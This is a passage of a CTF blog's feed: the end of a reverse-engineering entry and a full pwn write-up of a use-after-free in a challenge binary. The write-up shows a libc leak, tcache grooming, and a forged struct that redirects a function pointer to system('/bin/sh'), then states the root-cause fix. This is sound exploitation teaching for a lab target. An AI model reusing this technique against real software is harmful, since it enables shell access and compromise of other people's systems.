<p>Solver: <code class="language-plaintext highlighter-rouge">~/ctf/work/nitro/solve.py</code></p>]]></content><author><name>m0rpheus</name><email>ghassenboulares7@gmail.com</email></author><category term="rev" /><category term="self-modifying-code" /><category term="static-analysis" /><category term="xor" /><summary type="html"><![CDATA[The binary decrypts its own checker at runtime and reuses those decrypted bytes as the flag keystream. Solved statically — the binary never runs, so the anti-debug never fires.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://m0rpheus.tech/assets/img/logo.png" /><media:content medium="image" url="https://m0rpheus.tech/assets/img/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Saint Vespers and the Copper Choir</title><link href="https://m0rpheus.tech/posts/saint-vespers-and-the-copper-choir/" rel="alternate" type="text/html" title="Saint Vespers and the Copper Choir" /><published>2026-09-20T15:57:18+00:00</published><updated>2026-09-20T15:57:18+00:00</updated><id>https://m0rpheus.tech/posts/saint-vespers-and-the-copper-choir</id><content type="html" xml:base="https://m0rpheus.tech/posts/saint-vespers-and-the-copper-choir/"><![CDATA[<h2 id="the-object">The object</h2>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">chorister</span> <span class="p">{</span>
    <span class="kt">char</span>   <span class="n">name</span><span class="p">[</span><span class="mh">0x38</span><span class="p">];</span>                      <span class="c1">// 0x00</span>
    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">sing</span><span class="p">)(</span><span class="k">struct</span> <span class="n">chorister</span> <span class="o">*</span><span class="n">self</span><span class="p">);</span>   <span class="c1">// 0x38  &lt;- called as c-&gt;sing(c)</span>
    <span class="kt">char</span>  <span class="o">*</span><span class="n">transcript</span><span class="p">;</span>                      <span class="c1">// 0x40</span>
    <span class="kt">size_t</span> <span class="n">transcript_len</span><span class="p">;</span>                  <span class="c1">// 0x48</span>
    <span class="kt">int</span>    <span class="n">active</span><span class="p">;</span>                          <span class="c1">// 0x50</span>
<span class="p">}</span> <span class="n">chorister_t</span><span class="p">;</span>                              <span class="c1">// sizeof 0x58 -&gt; chunk 0x60</span>
</code></pre></div></div>

<h2 id="vulnerability">Vulnerability</h2>

<p><code class="language-plaintext highlighter-rouge">op_retire()</code> frees <code class="language-plaintext highlighter-rouge">c-&gt;transcript</code> and <code class="language-plaintext highlighter-rouge">c</code>, then writes <code class="language-plaintext highlighter-rouge">c-&gt;active = 0</code> <strong>into
the freed chunk</strong>, and never clears <code class="language-plaintext highlighter-rouge">choir[idx]</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">c</span><span class="o">-&gt;</span><span class="n">transcript</span><span class="p">)</span> <span class="n">free</span><span class="p">(</span><span class="n">c</span><span class="o">-&gt;</span><span class="n">transcript</span><span class="p">);</span>
<span class="n">free</span><span class="p">(</span><span class="n">c</span><span class="p">);</span>
<span class="n">c</span><span class="o">-&gt;</span><span class="n">active</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>          <span class="c1">// UAF write</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">op_restore()</code> sets <code class="language-plaintext highlighter-rouge">c-&gt;active = 1</code> on that same freed object, so every other
menu op now operates on a dangling <code class="language-plaintext highlighter-rouge">chorister_t</code>.</p>

<p>Critically, <strong>tcache only clobbers the first 0x10 bytes</strong> of a freed chunk (fd +
key), so <code class="language-plaintext highlighter-rouge">sing</code>, <code class="language-plaintext highlighter-rouge">transcript</code>, <code class="language-plaintext highlighter-rouge">transcript_len</code> and <code class="language-plaintext highlighter-rouge">active</code> all survive intact.</p>

<h2 id="target">Target</h2>

<p>glibc 2.35, Full RELRO, PIE, NX, canary. Hooks were removed in 2.34, so there is
no <code class="language-plaintext highlighter-rouge">__free_hook</code> — but none is needed: the program hands over an indirect call
with a controlled argument, and <code class="language-plaintext highlighter-rouge">name[]</code> is at offset 0, so the argument <em>is</em> a
pointer to attacker text.</p>

<h2 id="exploit">Exploit</h2>

<ol>
  <li><strong>Layout</strong> — recruit seat 0 with a <code class="language-plaintext highlighter-rouge">0x500</code> transcript and seat 1 as a guard,
so the big transcript is not adjacent to the top chunk.</li>
  <li><strong>Dangle</strong> — retire + restore seat 0. The <code class="language-plaintext highlighter-rouge">0x510</code> transcript is too big for
tcache, so it lands in the unsorted bin with <code class="language-plaintext highlighter-rouge">fd = bk = main_arena+96</code>, and
the object is dangling-but-active.</li>
  <li><strong>Leak</strong> — <code class="language-plaintext highlighter-rouge">op_recite(0)</code> does <code class="language-plaintext highlighter-rouge">write(1, c-&gt;transcript, c-&gt;transcript_len)</code>
on the freed buffer, dumping the arena pointer.
<code class="language-plaintext highlighter-rouge">main_arena+96</code> sits at <code class="language-plaintext highlighter-rouge">libc+0x21ace0</code> in this build.</li>
  <li><strong>Groom</strong> — retire seat 1 so <code class="language-plaintext highlighter-rouge">tcache[0x60] = [C1, C0]</code>.</li>
  <li><strong>Reclaim</strong> — recruit seat 2 with a <code class="language-plaintext highlighter-rouge">0x58</code> transcript. The chorister <code class="language-plaintext highlighter-rouge">malloc</code>
pops <code class="language-plaintext highlighter-rouge">C1</code>; the transcript <code class="language-plaintext highlighter-rouge">malloc</code> pops <code class="language-plaintext highlighter-rouge">C0</code>, the dangling <code class="language-plaintext highlighter-rouge">choir[0]</code>, and
<code class="language-plaintext highlighter-rouge">read_exact</code> writes <code class="language-plaintext highlighter-rouge">0x58</code> raw attacker bytes straight over the struct:</li>
</ol>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">forged</span>  <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">/bin/sh</span><span class="se">\x00</span><span class="sh">"</span><span class="p">.</span><span class="nf">ljust</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00</span><span class="sh">"</span><span class="p">)</span>   <span class="c1"># name[] — also the argument
</span><span class="n">forged</span> <span class="o">+=</span> <span class="nf">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span><span class="p">)</span>                  <span class="c1"># sing
</span><span class="n">forged</span> <span class="o">+=</span> <span class="nf">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="nf">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="nf">p32</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>              <span class="c1"># transcript, len, active
</span><span class="nf">recruit</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">C</span><span class="sh">"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x58</span><span class="p">,</span> <span class="n">forged</span><span class="p">.</span><span class="nf">ljust</span><span class="p">(</span><span class="mh">0x58</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00</span><span class="sh">"</span><span class="p">))</span>
</code></pre></div></div>

<ol>
  <li><strong>Fire</strong> — <code class="language-plaintext highlighter-rouge">op_perform()</code> iterates active choristers and calls
<code class="language-plaintext highlighter-rouge">choir[0]-&gt;sing(choir[0])</code> → <code class="language-plaintext highlighter-rouge">system("/bin/sh")</code>.</li>
</ol>

<h2 id="gotchas">Gotchas</h2>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">main_arena</code> is stripped</strong> from the shipped libc. Calibrate the offset
empirically against <code class="language-plaintext highlighter-rouge">/proc/&lt;pid&gt;/maps</code> rather than guessing.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">setvbuf(stdout, _IOFBF)</code></strong> means nothing is flushed before <code class="language-plaintext highlighter-rouge">system()</code>
executes. Waiting on the “Performance begins” banner deadlocks forever —
talk straight to the shell.</li>
  <li><code class="language-plaintext highlighter-rouge">system</code> begins with <code class="language-plaintext highlighter-rouge">endbr64</code>, so the binary’s IBT marking is not an obstacle.</li>
</ul>

<h2 id="root-cause">Root cause</h2>

<p>A single missing assignment. Clearing <code class="language-plaintext highlighter-rouge">choir[idx]</code> on free closes every
primitive. The <code class="language-plaintext highlighter-rouge">active</code> flag is a red herring as a guard — it lives inside the
allocation it is supposed to protect.</p>

<p>Solver: <code class="language-plaintext highlighter-rouge">~/ctf/work/vespers/local/x.py</code></p>]]></content><author><name>m0rpheus</name><email>ghassenboulares7@gmail.com</email></author><category term="pwn" /><category term="heap" /><category term="function-pointer" /><category term="glibc" /><summary type="html"><![CDATA[A struct with a name buffer sitting directly under a called function pointer. Overwrite what you write to, on glibc 2.35 with the hooks gone.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://m0rpheus.tech/assets/img/logo.png" /><media:content medium="image" url="https://m0rpheus.tech/assets/img/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>